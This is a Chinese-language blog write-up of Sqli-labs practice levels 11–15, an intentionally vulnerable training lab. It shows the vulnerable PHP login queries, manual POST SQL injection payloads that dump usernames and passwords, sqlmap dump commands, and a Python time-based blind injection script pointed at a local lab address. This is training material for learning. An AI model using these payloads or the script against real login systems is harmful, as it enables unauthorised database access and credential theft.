重闯Sqli-labs关卡第三天(11-15关)

前言

今天早上学了学网易云课堂的注入课程突然感觉网易云可i春秋联合出品的课程还不错，之后就刷了刷攻防世界的题，题有眉目但是还是忍不住看了WP 服了自己了！！！一直刷到了晚上也不知道几点我妈买了柚子回了吃了会 回来继续战斗 想起来自己自从回来就没怎么继续刷sql靶场的题了，又刷了五关题。总结下这五关内容现在已经两点了总结完就该睡了。

第十一关:(基于错误的POST型单引号字符型注入)

分析代码有报错可以使用多种注入方式

核心代码:

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

手工注入payload:

uname=admin' order by 2#&passwd=admin&submit=Submit
uname=admin' union select 1,2#&passwd=admin&submit=Submit
uname=0' union select 1,2#&passwd=admin&submit=Submit
uname=0' union select user(),version() #&passwd=admin&submit=Submit
uname=0' union select 1,database()#&passwd=admin&submit=Submit
uname=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=admin&submit=Submit
uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name=users#&passwd=admin&submit=Submit
uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit
uname=0' UNION SELECT 1,GROUP_CONCAT(USERNAME,'-',PASSWORD) FROM USERS#&passwd=admin&submit=Submit

SQLmap 注入payload:

bp抓包保存为lou.txt
python sqlmap.py -r lou.txt
python sqlmap.py -r lou.txt --dbs 列出所有数据库
python sqlmap.py -r lou.txt --current-dbs 列出当前数据库
python sqlmap.py -r lou.txt -D 'security' --tables 列出security数据库中所有的表
python sqlmap.py -r lou.txt -D 'security' -T "users" --columns 列出users表中的所有列
python sqlmap.py -r lou.txt -D 'security' -T "users" -C "username","password" --dump 列出所有列中的数据

第十二关(基于错误的双引号POST型字符型变形的注入)

这一关仅在SQL语句处理上根12关不同其他都一一致 

核心代码:

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

手工注入payload:

uname=admin") and 1=1 --+&passwd=admin&submit=Submit
uname=admin") and 1=2 --+&passwd=admin&submit=Submit
uname=admin") order by 2 --+&passwd=admin&submit=Submit
uname=0") union select 1,2 --+&passwd=admin&submit=Submit
uname=0") union select version(),database() --+&passwd=admin&submit=Submit
uname=0") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit
uname=0") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&passwd=admin&submit=Submit
uname=0") union select group_concat(username),group_concat(password) from users  --+&passwd=admin&submit=Submit

第十三关(POST单引号变形双注入)

这一关也是根上面差不多紧紧是SQL语句部分不一致

核心代码:

@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

可以用上述方法进行注入

也可以用下面的脚本

python脚本:

import requests
import time
url="http://192.168.233.1/lou/sql/Less-13/"   
allString='''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnm'''

database=""

for i in range(1,10):
    
    for j in allString:
        payload="admin') and if(substr(database(),{},1)='{}',sleep(3),1)#".format(int(i),str(j))
        
        data={
                "uname":payload,
                "passwd":"admin&submit=Submit"
                }   
        print(data)
        urls=requests.post(url,data=data)
        #print(urls.text)
        
        t=urls.elapsed.total_seconds()
        #print(j)
        if t>=3:
            #print(j)
            database+=j
            print(data)
     
        elif t<3 and j=='M':
            break
    
print('DATABASE:',database) 

第十四关

这一关也是紧sql语句处理部分不一致可以对比上面

核心代码:

$uname='"'.$uname.'"';
    $passwd='"'.$passwd.'"'; 
    @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
    $result=mysql_query($sql);

注入参考上面皆可以

第十五关 (基于bool型/时间延迟单引号POST型盲注)

这一关与上面都不一样 这个页面没有报错信息 只有登录成功/失败页面 只能通过sleep()时间注入

核心代码:

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

手工payload:

没任何错误信息只能盲注通过时间注入
uname=admin' and 1=1 --+&passwd=admin&submit=Submit 
uname=admin' and 1=1 --+&passwd=admin&submit=Submit 
uname=admin' and sleep(5) --+&passwd=admin&submit=Submit 

工具注入 参考十三关脚本修改即可